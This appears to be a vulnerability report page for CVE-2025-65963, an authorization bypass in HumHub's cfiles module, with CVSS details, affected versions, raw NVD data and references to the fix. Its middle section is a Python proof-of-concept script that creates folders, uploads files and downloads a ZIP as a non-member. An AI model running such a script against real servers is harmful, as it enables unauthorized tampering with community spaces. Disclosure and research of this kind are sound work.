Security Vulnerability Report
中文
CVE-2025-65963 CVSS 5.4 MEDIUM

CVE-2025-65963

Published: 2025-11-26 00:15:51
Last Modified: 2026-04-15 00:35:42

Description

Files is a module for managing files inside spaces and user profiles. Prior to versions 0.16.11 and 0.17.2, insufficient authorization checks allow non-member users to create new folders, up- and download files as a ZIP archive in public spaces. Private spaces are not affected. This issue has been patched in versions 0.16.11 and 0.17.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HumHub cfiles < 0.16.11
HumHub cfiles < 0.17.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65963 PoC - HumHub cfiles Authorization Bypass # Target: Public spaces in HumHub with cfiles module < 0.16.11 or < 0.17.2 import requests import json TARGET_URL = "https://vulnerable-humhub.com/" SPACE_ID = "123" # Target public space ID ATTACKER_TOKEN = "your_low_privilege_token" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Create unauthorized folder def create_folder(): url = f"{TARGET_URL}cfiles/folder/create" data = { "space_id": SPACE_ID, "title": "MaliciousFolder", "parent_id": 0 } response = requests.post(url, json=data, headers=headers) print(f"[+] Folder Creation: {response.status_code}") return response.json() # Step 2: Upload file to public space def upload_file(folder_id): url = f"{TARGET_URL}cfiles/file/upload" files = { "file": ("exploit.txt", b"Malicious content") } data = { "space_id": SPACE_ID, "folder_id": folder_id } response = requests.post(url, files=files, data=data, headers=headers) print(f"[+] File Upload: {response.status_code}") return response.json() # Step 3: Download files as ZIP def download_as_zip(folder_id): url = f"{TARGET_URL}cfiles/file/download-zip" params = { "space_id": SPACE_ID, "folder_id": folder_id } response = requests.get(url, params=params, headers=headers) print(f"[+] ZIP Download: {response.status_code}") if response.status_code == 200: with open("exfiltrated.zip", "wb") as f: f.write(response.content) print("[+] ZIP file saved as exfiltrated.zip") if __name__ == "__main__": print("[*] CVE-2025-65963 Exploitation") folder_result = create_folder() if folder_result.get("id"): upload_file(folder_result["id"]) download_as_zip(folder_result["id"])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65963", "sourceIdentifier": "[email protected]", "published": "2025-11-26T00:15:51.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Files is a module for managing files inside spaces and user profiles. Prior to versions 0.16.11 and 0.17.2, insufficient authorization checks allow non-member users to create new folders, up- and download files as a ZIP archive in public spaces. Private spaces are not affected. This issue has been patched in versions 0.16.11 and 0.17.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/humhub/cfiles/commit/75698f8e8f360cea470f0e9f264015b697ab4c09", "source": "[email protected]"}, {"url": "https://github.com/humhub/cfiles/security/advisories/GHSA-rv2x-7qwp-2hf4", "source": "[email protected]"}]}}